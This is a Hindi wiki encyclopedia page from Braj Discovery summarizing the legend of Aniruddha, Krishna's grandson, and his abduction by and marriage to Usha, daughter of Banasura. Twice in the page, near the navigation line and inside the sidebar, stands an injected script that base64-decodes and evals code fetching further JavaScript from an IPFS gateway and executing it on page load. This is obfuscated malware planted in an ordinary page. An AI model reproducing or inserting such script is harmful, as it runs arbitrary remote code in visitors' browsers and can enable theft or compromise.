अनिरूद्ध

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
आदित्य चौधरी (चर्चा | योगदान) द्वारा परिवर्तित १६:४१, ४ मार्च २०१० का अवतरण (Text replace - '[[category' to '[[Category')
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अनिरूद्ध / Aniruddha

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • कृष्ण सम्बंधित लेख
    • कृष्ण|कृष्ण
    • कृष्ण संदर्भ|कृष्ण संदर्भ
    • कृष्ण काल|कृष्ण काल
    • कृष्ण वंशावली|कृष्ण वंशावली
    • कृष्ण जन्मभूमि|कृष्ण जन्मस्थान
    • कृष्ण और महाभारत|कृष्ण और महाभारत
    • गीता|गीता
    • राधा|राधा
    • देवकी|देवकी
    • गोपी|गोपी
    • अक्रूर|अक्रूर
    • अंधक|अंधक
    • कंस|कंस
    • द्वारका|द्वारका
    • यशोदा|यशोदा
    • रंगेश्वर महादेव|रंगेश्वर महादेव
    • वृष्णि संघ|वृष्णि संघ
    • पूतना-वध|पूतना-वध
    • शकटासुर-वध|शकटासुर-वध
    • उद्धव|उद्धव
    • प्रद्युम्न|प्रद्युम्न
    • सुदामा|सुदामा
    • अनिरुद्ध|अनिरुद्ध
    • उषा|उषा
    • कालयवन|कालयवन

</sidebar>

  • प्रद्युम्न के पुत्र तथा कृष्ण के पौत्र अनिरूद्ध की पत्नी के रूप में उषा की ख्याति है।
  • वह शोणितपुर के राजा वाणासुर की कन्या थी। पार्वती के वरदान से उषा ने स्वप्न में अनिरूद्ध के दर्शन किये तथा उन पर रीझ गयी।
  • उषा की मनोदशा जानकर चित्रलेखा ने अनेक राजकुमारों के चित्र के साथ उनका भी चित्र निर्मित किया।
  • उषा ने हाव-भाव द्वारा चित्रलेखा के सामने प्रकट कर दिया कि अनिरूद्ध ही उसका प्रेम-पात्र है।
  • चित्रलेखा ने योग बल से सुप्तावस्था में उनका अपहरण किया और दोनों का गान्धर्व-विवाह कराकर चार मास तक दोनों को गुप्त स्थान में रखा।
  • वाण को सेवकों द्वारा जब यह रहस्य ज्ञात हुआ तो उसने अनिरूद्ध को पकड़ने के लिए उन्हे भेजा किन्तु अनिरूद्ध ने उन सबको गदा से मार गिराया।
  • इस पर वाण ने उन्हें माया युद्ध में पराजित कर बन्दी कर लिया।
  • यह समाचार मालूम होने पर कृष्ण, बलराम तथा प्रद्युम्न ने वाण को पराजित किया।
  • वाण की माता कोटरा की प्रार्थना पर कृष्ण ने वाण को जीवनदान दिया। इस पर वाण ने विधिवत उषा-अनिरूद्ध का विवाह कर इन्हें विदा किया।
  • सूरसागर में उषा-अनिरूद्ध की कथा संक्षेप में दी गयी है।<balloon title="सूरसागर (पद 4815-4816)" style=color:blue>*</balloon>
  • परन्तु इस कथा को लेकर अनेक प्रेमाख्यान रचे गये हैं। भारतीय साहित्य में कदाचित यह एक अनोखी प्रेम-कथा है जिसमें एक प्रेमिका स्त्री द्वारा पुरुष का हरण वर्णित है।